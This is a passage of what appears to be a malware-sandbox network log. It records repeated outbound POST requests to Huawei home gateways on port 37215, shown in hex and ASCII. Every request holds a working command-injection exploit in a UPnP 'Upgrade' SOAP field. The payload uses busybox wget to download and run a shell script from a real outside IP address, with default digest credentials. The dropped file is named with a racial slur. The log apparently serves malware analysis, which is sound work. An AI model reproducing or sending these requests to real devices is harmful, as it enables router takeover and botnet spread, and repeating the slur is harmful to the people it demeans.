20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:03.906119108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:18.241626024 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.192810059 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.15	52936	156.241.12.155	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:49.866278887 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:51.426338911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:53.282383919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:56.994321108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:04.417980909 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.265619993 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 